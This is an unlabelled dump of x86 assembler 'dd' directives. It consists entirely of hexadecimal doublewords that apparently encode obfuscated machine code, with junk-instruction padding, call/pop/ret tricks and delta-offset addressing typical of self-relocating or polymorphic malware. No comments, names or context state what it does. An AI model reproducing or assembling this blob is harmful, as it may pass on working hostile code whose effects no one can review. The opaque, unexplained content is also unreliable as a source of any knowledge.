		dd 8B062A23h, 0BF858DCEh, 0FF062A3Bh, 53006AD0h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 8C334521h, 8589FF95h, 62A092Dh, 302D958Bh, 860F062Ah
		dd 0Ah,	4890Fh,	0BF660000h, 85C68527h, 62A27C9h, 5E847h
		dd 9D180000h, 0E84C34E6h, 0Fh, 7A47DBD7h, 0AF522E0h, 4F6FD6C1h
		dd 80053E3Dh, 595FC9F1h, 0D0B5F368h, 8D315783h,	62A2569h
		dd 1DB5FF5Ah, 66062A23h, 5B65E981h, 3BBF858Dh, 958B062Ah
		dd 62A2021h, 800FD0FFh,	0
		dd 2AD58589h, 11E8062Ah, 0DA000000h, 0A49333D2h, 0B76E016Ch
		dd 897225EAh, 0BDDEB381h, 0C985C65Ah, 77062A27h, 0CE9h
		dd 0F8EEAA00h, 70374B50h, 0DAC72D6Ch, 0A8A368CBh, 0B531F397h
		dd 62A1FA5h, 334DB5FFh,	8D89062Ah, 62A17FDh, 3BBF858Dh
		dd 6A062Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 524181C3h, 81D0FF5Ah, 6BC62EF2h, 3585893Dh
		dd 8B062A0Bh, 2A23BDBDh, 0C985C606h, 47062A27h,	0D118529h
		dd 0F668062Ah, 668728FAh, 0DF61F181h, 231DB5FFh, 6A062Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 17D2F6C3h, 39548BDh,	0F1BD31AEh, 8D062A2Ch, 2A3BBF85h
		dd 1D8D8B06h, 0FF062A0Ch, 89C88AD0h, 2A0BF59Dh,	9858906h
		dd 8B062A22h, 2A27ADBDh, 0C985C606h, 43062A27h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 14C35040h, 6A25925Dh
		dd 23259D89h, 0FC68062Ah, 8BBC8E6Eh, 2A2655BDh,	0DBD8906h
		dd 0FF062A0Eh, 2A231DB5h, 88F0F06h, 0F000000h, 28Dh, 8D9AB100h
		dd 2A3BBF85h, 69B53106h, 0FF062A19h, 53006AD0h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0AFB2EA12h
		dd 1B59A143h, 14698589h, 0BF0F062Ah, 816660FEh,	66A80CE9h
		dd 8961C28Bh, 2A064D85h, 7ACE8006h, 27C985C6h, 0F45062Ah
		dd 680h, 3DBD8B00h, 89062A07h, 2A0D8595h, 69696806h, 6A8E72h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0A0E0C8C3h, 0DA91C8E0h, 7D8D8975h, 0FF062A21h, 2A231DB5h
		dd 0D2816606h, 858D0CE0h, 62A3BBFh, 7E9h, 8689F100h, 0D7710A05h
		dd 0C280D0FFh, 958589E9h, 8B062A28h, 2A0BF1BDh,	0C985C606h
		dd 44062A27h, 0C33AB966h, 0F2EC6468h, 57006AB8h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 4BBFA3DAh, 0FF69C82Fh, 2A231DB5h, 0BE806h, 1A580000h
		dd 5AA1D210h, 0EB72DF76h, 65BF668Bh, 7E85A3Dh, 3B000000h
		dd 845F16F7h, 8D5FCCF4h, 2A3BBF85h, 0B70F5306h,	0D0FF5FCEh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A9C35141h
		dd 5B793252h, 808355A0h, 85893AE2h, 62A2095h, 0C985C6F9h
		dd 43062A27h, 68DEEA80h, 0C0764AA7h, 34B5BD89h,	8D23062Ah
		dd 62A1869h, 231DB5FFh,	6A062Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8D9C8AC3h, 2A3BBF85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 4FAC5988h, 0FD01CD30h, 0BD01E83Bh, 62A0329h
		dd 8F0FD0FFh, 6, 14859589h, 8589062Ah, 62A0EC5h, 54CF8166h
		dd 0F3BD805Eh, 62D08h, 100840Fh, 958B0000h, 62A33FDh, 8D5858Dh
		dd 0ECB2062Dh, 50006A50h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 597CB59Ch, 6AFFBF0Fh
		dd 8EBF6601h, 6A006AC0h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 96CDC350h, 24BAAC9Bh
		dd 6A42268Ch, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0FFF9E73Eh, 2A126195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0F709B234h, 89269204h, 2A2D999Dh, 55858906h,	0B062A0Eh
		dd 2A04F58Dh, 0E9FF6A06h, 0Bh, 0E37B8607h, 0BD0D068Fh
		dd 0FAF47B6h, 1982h, 14E900h, 8E560000h, 435CFC49h, 0E32B37BCh
		dd 2949D5BFh, 670B07A1h, 0B5FFA1FFh, 62A0E55h, 689BD89h
		dd 95FF062Ah, 62A238Dh,	357DB529h, 0C08B062Ah, 6820Fh
		dd 958B0000h, 62A2BA5h,	2451BD83h, 7500062Ah, 89BD8309h
		dd 62A2Ah, 53501974h, 0D1B8C08Bh, 89000007h, 2A278985h
		dd 699D8D06h, 0FF062CBBh, 83585BD3h, 2A2A89BDh,	17740006h
		dd 0D1B85350h, 89000007h, 2A278985h, 589D8D06h,	0FF062CB8h
		dd 0F585BD3h, 0B70FD2B7h, 0E8C08BFBh, 5, 0D3E35F8Bh, 4EC1814Ch
		dd 5A661CABh, 27C985C6h, 5647062Ah, 958B5FFCh, 62A09E9h
		dd 0C8F7C168h, 0FD8D2993h, 0FF062A2Ch, 2A231DB5h, 45950906h
		dd 8D062A18h, 2A3BBF85h, 998D0106h, 0FF062A16h,	0AE8D0h
		dd 95010000h, 299D2D92h, 7D573ABDh, 5FCBBF0Fh, 0FE850h
		dd 38B10000h, 73D00770h, 0AE702906h, 17ADEA0Fh,	55BD319Eh
		dd 5A062A0Dh, 0D16858Dh, 830F062Dh, 2, 0C7CA8Ah, 94h, 0FE8h
		dd 94400A00h, 7B9B63DDh, 41238AE6h, 2535B99Ch, 1A2DBD89h
		dd 585F062Ah, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	0B0C35242h, 382470FFh, 6683D46Dh, 0DE8ED981h, 0C49973BFh
		dd 16B58D79h, 6A062D0Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0EAB0C353h,	419E3468h
		dd 56B18851h, 0D0FFFE8Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0BEC35747h, 81665B31h, 600D4ACAh, 4C67EBAh
		dd 81665171h, 5FDE3ED7h, 16858D61h, 6A062D0Dh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0F39C350h, 152F0BCFh, 890F834Fh, 0Eh, 9E9h, 863B2300h
		dd 5F6EB957h, 0BD89326Ch, 62A0019h, 6047883h, 13850Fh
		dd 0B9660000h, 85C782C3h, 62D0DAAh, 1, 0B3F18166h, 25BD83E6h
		dd 62A00h, 6D850Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 56F954C3h, 4E0F32C0h
		dd 9950389h, 81062A10h,	0AFCA8EEFh, 0AABD837Ch,	62D0Dh
		dd 31850Fh, 0E9810000h,	5D8A50CBh, 2CF9BD83h, 0F00062Ah
		dd 1E84h, 0D9BD8B00h, 0C7062A22h, 2A185185h, 6,	8D8B6000h
		dd 62A3039h, 9E98D89h, 6661062Ah, 9589DB8Ch, 62A2765h
		dd 4C3F6F5h, 549840Fh, 0C1810000h, 7AE1FB14h, 341585C7h
		dd 62Ah, 66600000h, 0BB66D88Bh,	8061AFFDh, 2D0900BDh, 850F0006h
		dd 6, 0D61BD09h, 85C6062Ah, 62A27C9h, 658D8947h, 68062A23h
		dd 0E3E45B86h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0EC35040h, 0D1816660h, 9D8B2B61h, 62A10BDh, 1DB5FF61h
		dd 6A062A23h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 7CE0C355h, 1800FDAh, 0FC000000h
		dd 3BBF858Dh, 0B70F062Ah, 0BD0FFFBh, 2A0B398Dh,	1046806h
		dd 8D2B0000h, 62A2AE9h,	22019589h, 9D8D062Ah, 62A0399h
		dd 1AE99D09h, 0BD0B062Ah, 62A07F9h, 0C9816653h,	0D0FF3337h
		dd 8DD68B66h, 2A039985h, 7D958B06h, 50062A0Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0DC35040h, 0DB714612h
		dd 0DC2D2B69h, 0B9BD8BCCh, 8B062A0Ch, 2A07B18Dh, 0B2858D06h
		dd 0F062D08h, 0F88h, 0AE900h, 0B7100000h, 1A1F14ECh, 52A2AE6Dh
		dd 0F98B6650h, 1F39BD8Bh, 858D062Ah, 62CFF85h, 0F1B589F9h
		dd 50062A0Bh, 75DBD8Bh,	95FF062Ah, 62A0B35h, 0CC483F5h
		dd 5AEB8A53h
		dd 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h, 62CFF85h
		dd 4D95FF50h, 89062A06h, 2D089585h, 0C985C606h,	47062A27h
		dd 0B15E8768h, 1DB5FFC7h, 8D062A23h, 2A3BBF85h,	6AD0FF06h
		dd 95B5FF00h, 0FF062D08h, 0CB8B66D0h, 5099533h,	5EBA062Ah
		dd 3D6FDD2Ah, 37D0h, 1F830Fh, 0BD290000h, 62A0735h, 895B5FFh
		dd 0B529062Dh, 62A0735h, 0EC595FFh, 0A8E9062Ah,	0B5000000h
		dd 95B5FF68h, 0F062D08h, 68Fh, 7D853100h, 0FF062A1Ah, 2A0EC595h
		dd 0DFD68006h, 8166006Ah, 6A8CDBCFh, 99853100h,	6A062A16h
		dd 0F8B70F00h, 27659D29h, 6A062Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0D2C35141h,	0FE91BCDh, 1F000000h
		dd 9D937A80h, 0BDC2367Fh, 907BF05h, 6A94F2h, 24C9BD8Bh
		dd 6A062Ah, 4BBED981h, 858D6A57h, 62D0899h, 0E75950Bh
		dd 36B2062Ah, 0D68B6650h, 64D95FFh, 8D31062Ah, 62A0D79h
		dd 0FFFF883h, 18485h, 66D78B00h, 8D5F19BFh, 2CC30F85h
		dd 14800F06h, 0E8000000h, 8, 1F3AB5CAh,	921951E0h, 840Fh
		dd 0FF5F0000h, 8A006AD0h, 6A006AF1h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 43FBC351h
		dd 4010180Dh, 29006A5Ah, 2A2AA1BDh, 51BD3106h, 6A062A1Bh
		dd 0CE900h, 407A0000h, 0C16A8824h, 0C9AC73B6h, 6A6763h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 67C35747h
		dd 9945070Bh, 919D89D8h, 6A062A29h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 633D326Eh
		dd 0F97FC63Bh, 0AEBA529Fh, 59441F0Ah, 899858Dh,	0B589062Dh
		dd 62A0091h, 79BD8950h,	0FF062A2Dh, 2A064D95h, 0FFF88306h
		dd 9B850Fh, 8F0F0000h, 2, 6FBAC88Ah, 8D18CED5h,	2D02A1B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 142B4A4Fh, 7DBD890Ch, 8D062A35h,	2CAD6C85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0D3F7EE83h, 0A37E0B20h, 6AD9814Bh, 0FF4A95B6h
		dd 0FE9D0h, 1D930000h, 0ABFD2AEh, 95F9B503h, 1A752DBAh
		dd 3006A4Bh, 2A1F1995h,	9595FF06h, 8B062A28h, 68A0FF8h
		dd 89000000h, 2A12919Dh, 95858906h, 6A062D08h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 92E7C356h, 0D280006Ah, 8D858D07h, 0F062D08h,	683h, 59853100h
		dd 50062A2Dh, 21598D8Bh, 46A062Ah, 14E8h, 0EFF72A00h, 8B17B017h
		dd 419464A4h, 0CB95C06Fh, 0ECF67B0Bh, 95015345h, 62A28EDh
		dd 858D5F5Ah, 62A250Dh,	0C6A1B966h, 57006A50h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 61D3E672h
		dd 5C901BA0h, 0E9816697h, 6AE0C5h, 0FB9950Bh, 6A062Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0A3C35646h
		dd 0EB00DF54h, 1800F41h, 0F5000000h, 6A016Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 47C36EC3h
		dd 0FC11ED2h, 685h, 0C18D8B00h,	31062A1Eh, 2A1A7D9Dh, 0FFD08B06h
		dd 2D0895B5h, 7DB58906h, 0FF062A1Bh, 2A209595h,	0E9D78B06h
		dd 1C9Fh, 26059D89h, 0EE8062Ah,	26000000h, 0E1FFA733h
		dd 0CC409266h, 85E3F93Bh, 14E9B6h, 0E7340000h, 0A4C3C54Fh
		dd 9EFC431Ch, 0C999119h, 20B383C9h, 8B59EA2Bh, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0DBE680A0h, 24BDBD8Bh, 0BD83062Ah, 62A2451h,	83097500h
		dd 2A2A89BDh, 19740006h, 0C08B5350h, 7D2B8h, 89858900h
		dd 8D062A27h, 2CBB699Dh, 5BD3FF06h, 89BD8358h, 62A2Ah
		dd 53501774h, 7D2B8h, 89858900h, 8D062A27h, 2CB8589Dh
		dd 5BD3FF06h, 81958B58h, 6A062A10h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 935EC351h
		dd 13BBFF21h, 0B6FD2BEh, 6AC08BFCh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0BE4C356h
		dd 0F258D0Bh, 8D8B062Ah, 62A1649h, 341585C7h, 1062Ah, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 2A1D37C3h, 2B5D8D89h, 0B868062Ah, 0FFCEE4E7h, 2A1295B5h
		dd 0BF858D06h, 0FF062A3Bh, 598589D0h, 8D062A1Bh, 2D0AF185h
		dd 858D5006h, 62D0DAEh,	16850h,	95FF8000h, 62A1B59h, 0A75C00Bh
		dd 0EED85C7h, 1062Ah, 0D4680000h, 0FFC005DBh, 2A1295B5h
		dd 0BF858D06h, 0FF062A3Bh, 0D58589D0h, 8D062A09h, 2CFD3E85h
		dd 0B5FF5006h, 62A231Dh, 92D95FFh, 0C00B062Ah, 0D88B0B74h
		dd 0CF1858Dh, 0FF50062Dh, 0F1858DD3h, 66062D0Ch, 75093883h
		dd 4D85C70Ah, 1062A34h,	0FF000000h, 2A220995h, 0FF2506h
		dd 0F8830000h, 0C70A7305h, 2A331D85h, 106h, 15958B00h
		dd 80062A15h, 2D0900BDh, 840F0006h, 37h, 7CD7E5BAh, 0AABD8351h
		dd 62D0Dh, 30840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 170424h, 56460000h, 542EB4C3h, 119D8938h
		dd 0E9062A2Bh, 1A7Bh, 15CDBD8Bh, 0BD83062Ah, 62A344Dh
		dd 0F2850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8BF4C351h, 2A32718Dh
		dd 0CA858D06h, 60062D08h, 8F0F50h, 5A000000h, 68C0Fh, 8D0B0000h
		dd 62A0D59h, 0BD315061h, 62A11D1h, 6A016Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B2AD87C3h
		dd 6CE3528h, 14E81Eh, 0F1970000h, 0FFBE1684h, 56D24F7Eh
		dd 95B7CFEBh, 47F138E8h, 81667F20h, 59649DEAh, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 6A34C3h, 0BF0FD7B6h,	6195FFD0h, 89062A12h, 2A0A01B5h
		dd 0F4858906h, 0F062D08h, 0FF6ACEB7h, 369958Bh,	0B5FF062Ah
		dd 62D08F4h, 11E9h, 7B407700h, 0D9A7FDD5h, 7ADB0CA3h, 0A725E15Ch
		dd 95FFD3B1h, 62A238Dh,	561C6DB9h, 5858D1Fh, 66062CFDh
		dd 7E5FC281h, 10E950h, 16F70000h, 0CCF4845Fh, 0A160B80Fh
		dd 5F19B418h, 95FFF461h, 62A16E9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0B0C35141h,	0BD8B2634h, 62A0E31h
		dd 0FD8F8589h, 8166062Ch, 89EE44F7h, 2A1A7D95h,	12858D06h
		dd 3062CFDh, 2A1525BDh,	0CA8A5106h, 8B57505Ah, 2A14F595h
		dd 0B5FF5A06h, 62CFD8Fh, 0E8ABB966h, 92D95FFh, 0BD0B062Ah
		dd 62A0C0Dh, 16858589h,	0F781062Ah, 601C3BF9h, 0FD80858Dh
		dd 8166062Ch, 5058FBD2h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0C9C35646h, 315E7D54h, 0FF7C7AFBh, 2CFD8FB5h
		dd 0C88B6606h, 92D95FFh, 6A062Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0DC50D3C3h, 0FD97E01h
		dd 681h, 89BD3100h, 89062A09h, 2CFDA385h, 0C78B6006h, 0F6103B4h
		dd 186h, 858DFC00h
		dd 62CFD5Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0C4C35141h, 0BD8BF863h,	62A2159h, 4EC28050h, 8FB5FFF9h
		dd 29062CFDh, 2A0BF18Dh, 2D95FF06h, 89062A09h, 2A111DB5h
		dd 9B858906h, 0F062CFDh, 0A88h,	48A0F00h, 66000000h, 8D8854BFh
		dd 2CFD5285h, 8E906h, 84930000h, 0AD8CCBD8h, 8D8BC9D9h
		dd 62A2879h, 0B9665250h, 8B5A71EAh, 2A0E29BDh, 8FB5FF06h
		dd 0E9062CFDh, 12h, 0B47DDA89h,	69B703ECh, 0A69D586Fh
		dd 87FEA92Dh, 95FF298Ch, 62A092Dh, 9F8589F5h, 8B062CFDh
		dd 2A088995h, 6D858D06h, 8B062CFDh, 2A06B995h, 0EA8A5006h
		dd 0FD8FB5FFh, 6A062Ch,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 45AE06C3h, 7038B10Ah, 318D89F5h
		dd 0FF062A22h, 2A092D95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 8A95C9A6h
		dd 0E78160B0h, 185E3787h, 1FF58589h, 0B589062Ah, 62A28F1h
		dd 0FD21858Dh, 6A062Ch,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0F9FD5FC3h, 6A500Dh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0F7F046C3h
		dd 218D8BB5h, 0FF062A32h, 2CFD8FB5h, 6EF68006h,	92D95FFh
		dd 958B062Ah, 62A14E1h,	0FD938589h, 0D180062Ch,	30858DCAh
		dd 6A062CFDh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 8726C350h, 12E8h, 356B8200h, 0B3AE4CAFh
		dd 0E1C5E5FDh, 0AF8EE42Ch, 31DFE50Fh, 2A134D8Dh, 6A505A06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0CF6EC351h, 0EC24D470h, 0FD8FB5FFh, 0CA8B062Ch
		dd 92D95FFh, 0B509062Ah, 62A1AC9h, 0FD978589h, 8D8B062Ch
		dd 62A1AEDh, 10468h, 6650F500h,	5FA3A7BAh, 0FE27858Dh
		dd 6A50062Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0C3C6C350h, 7846EB5Fh,	3285BD8Bh
		dd 858D062Ah, 62CFF2Bh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 23C35242h, 50095CE2h,	184DB529h, 95FF062Ah
		dd 62A2AD5h, 858AED80h,	7850FC0h, 8B000000h, 0EA8166FBh
		dd 0BD80FF22h, 62D0900h, 2C850F00h, 0F000000h, 38Ah, 0D38B6600h
		dd 15B2E9h, 18810F00h, 0E9000000h, 13h,	0EC472DECh, 0BF49A384h
		dd 671DA23Bh, 7695F91h,	832DA003h, 2A344DBDh, 850F0006h
		dd 15h,	0BD83EB8Ah, 62D0DAAh, 52840F00h, 81000000h, 0F8C9AFCAh
		dd 0C4858D07h, 0E9062CFDh, 13h,	7B8484EFh, 9FA49419h, 0E9F098FBh
		dd 20FC8D7Ch, 0E930881Ah, 154Fh, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0DCC35343h,	1BE98F95h, 29000000h
		dd 2A076D8Dh, 0AF858D06h, 0E9062CFDh, 7, 65F12677h, 0FEA01D0h
		dd 6A50D0B7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 315AC356h, 6601453Fh, 0E858C181h
		dd 1BFAF181h, 858D3861h, 62CFE27h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 69C35646h, 96D52A95h, 50FB8BB3h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 66C35141h
		dd 359522C0h, 898916A9h, 2A293D85h, 4DBD8306h, 62A34h
		dd 51840Fh, 95010000h, 62A2155h, 0FF4D858Dh, 6A062Ch, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 820F1AC3h, 6, 24918509h, 8960062Ah, 2A351195h, 998D8906h
		dd 61062A08h, 0E9E0CE80h, 26h, 0BEE48060h, 8D61ACB6h, 2CFF3685h
		dd 14E906h, 79070000h, 0C5DAC1A6h, 2858F460h, 5467DABBh
		dd 4E331F03h, 6A5040A5h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 7036C352h, 58C95355h
		dd 0F798D8Bh, 93BA062Ah, 8D55A713h, 2CFF8585h, 94CE8006h
		dd 0F98D8950h, 8A062A18h, 3595FFE8h, 31062A0Bh,	2A0F2595h
		dd 10C48306h, 21D5BD8Bh, 0C08B062Ah, 0CE9h, 44305000h
		dd 68720A0Ch, 45F9856Ch, 51BD831Bh, 62A24h, 0BD830975h
		dd 62A2A89h, 50197400h,	0B8C08B53h, 7D3h, 27898589h, 9D8D062Ah
		dd 62CBB69h, 585BD3FFh,	2A89BD83h, 7400062Ah, 0B8535017h
		dd 7D3h, 27898589h, 9D8D062Ah, 62CB858h, 585BD3FFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 8DC35343h, 169B1099h
		dd 2AC62C9Bh, 0F2816678h, 958B6C51h, 62A10D1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 21C35545h, 1F49B589h
		dd 8D0F062Ah, 2, 0C08BF78Ah, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0E2C35242h,	0A6293429h, 0D0DE1CB1h
		dd 99C78166h, 0AFBD810Eh, 6F062CFDh, 0F616572h,	0C384h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 297DACBh, 27858DDFh, 50062CFEh, 0FF64858Dh
		dd 8D50062Ch, 2CFF8585h, 95FF5006h, 62A0B35h, 0C60CC483h
		dd 2A27C985h, 4F684406h, 0FF96A318h, 2A231DB5h,	0BF858D06h
		dd 0FF062A3Bh, 8DD88BD0h, 2CFF8585h, 0D3FF5006h, 0FDAF858Dh
		dd 8D50062Ch, 2CFE2785h, 0BD835006h, 62A344Dh, 8D087400h
		dd 2CFF4D85h, 8D06EB06h, 2CFF3685h, 858D5006h, 62CFF85h
		dd 3595FF50h, 83062A0Bh, 6A10C4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0FBF09AC3h, 91F72EBh
		dd 2A172585h, 0FA8B6606h, 220995FFh, 13E9062Ah,	0C8000000h
		dd 0AD6AFC4Fh, 0B35EAF97h, 931E142Dh, 2D6632E1h, 0FF25C569h
		dd 66000000h, 0D93EE781h, 35B06051h, 0F8835F61h, 2D830F05h
		dd 29000000h, 2A25599Dh, 1D85C706h, 1062A33h, 29000000h
		dd 2A1931BDh, 0E3858D06h, 0E9062CFDh, 5Ah, 1A999D89h, 8531062Ah
		dd 62A08B5h, 344DBD83h,	0F00062Ah, 3584h, 11E800h, 3A4A0000h
		dd 0AC96643Eh, 85422482h, 0D8033FFFh, 31393D80h, 2A245D8Dh
		dd 858D5906h, 62CFE0Eh,	17BB28B9h, 14E947h, 89530000h
		dd 2A09318Dh, 858D5906h, 62CFDF0h, 28159D89h, 8589062Ah
		dd 62CFE23h, 349DBD8Bh,	0BD83062Ah, 62A344Dh, 1B850F00h
		dd 29000000h, 2A194995h, 0AABD8306h, 62D0Dh, 19840Fh, 89530000h
		dd 2A08718Dh, 20E95F06h, 0B000011h, 2A2865BDh, 9BD8B06h
		dd 0E9062A28h, 458h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0EFC35141h, 490A8DEAh, 0C08B9A90h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B7C35545h, 8A0F30CEh
		dd 6, 1AC5BD89h, 8B51062Ah, 2A04B18Dh, 0BD835F06h, 62A2451h
		dd 83097500h, 2A2A89BDh, 19740006h, 0C08B5350h,	7D4B8h
		dd 89858900h, 8D062A27h, 2CBB699Dh, 5BD3FF06h, 89BD8358h
		dd 62A2Ah, 53501774h, 7D4B8h, 89858900h, 8D062A27h, 2CB8589Dh
		dd 5BD3FF06h, 15BD2B58h, 8B062A1Ah, 2A2C89BDh, 6AC08B06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 52BDC357h, 5D50FAFEh, 2F9B27B6h, 0CE1BC781h
		dd 13E968FBh, 58000000h, 491DA462h, 0B0A188E1h,	8E10E6B1h
		dd 64512523h, 3F68D063h, 6A000F00h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 7CCCC355h
		dd 0DA1BD0Bh, 6A062Ah, 12E9h, 45346500h, 2F82F968h, 0D393F0E2h
		dd 0CF3EA7BCh, 6AC2E340h, 0AE800h, 89720000h, 0BDDEB381h
		dd 0BB3CE809h, 3041BD89h, 0FF5A062Ah, 2A168595h, 0D9816606h
		dd 0C085CE12h, 0E850Fh,	9E90000h, 8000000h, 0D0410F4Bh
		dd 2D1695ADh, 0FDA78589h, 870F062Ch, 2,	6A7AB5h, 0CB1958Bh
		dd 6A062Ah, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 1Dh,	66C35545h, 8ECFCC34h, 0AFE2BC20h, 0B52B60B3h, 62A07F5h
		dd 68D0Fh, 0B58B0000h, 62A060Dh, 7B96661h, 8B006ADAh, 2A16B195h
		dd 3006A06h, 2A29198Dh,	0F006A06h, 8F0FC9B7h, 6, 2D798589h
		dd 858D062Ah, 62CFF85h,	1A35BD89h, 0BA50062Ah, 2B3CC4D4h
		dd 0F9B1016Ah, 0D18A016Ah, 68F9016Ah, 0F01FFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C35545h, 0B9666974h
		dd 8B66F568h, 4DBD83D7h, 62A34h, 12840Fh, 8B660000h, 4858DD0h
		dd 66062CFEh, 0E9FF93BFh, 8, 0FDDA858Dh, 0C7B1062Ch, 0CBB70F50h
		dd 6870F50h, 23000000h,	2A34498Dh, 0A7B5FF06h, 6A062CFDh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 3C25C357h, 0FF5F5646h, 2CFD9395h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 453E7D74h, 0E9F5FB1Ah, 2082BA4Fh, 0C0853F09h, 1A850Fh
		dd 8C0F0000h, 1, 3BE9F5h, 5E80000h, 33000000h, 20DD2BF9h
		dd 5FD68B66h, 0FDAB8589h, 8153062Ch, 0E9B228C1h, 0D38B5930h
		dd 0FDABB5FFh, 0FFF5062Ch, 2A1FF595h, 0A18D8B06h, 85062A23h
		dd 2850FC0h, 8B000000h,	83106ACBh, 2A344DBDh, 840F0006h
		dd 21h,	0D179BA66h, 0FE04858Dh,	0AE9062Ch, 5C000000h, 3111235Ah
		dd 0D3876B24h, 15E930h,	8B660000h, 0DA858DCBh, 0F062CFDh
		dd 68Ah, 6D958900h, 50062A03h, 15299D89h, 0B966062Ah, 0B5FF6ABBh
		dd 62CFDA7h, 136D8D01h,	95FF062Ah, 62CFD9Fh, 5159529h
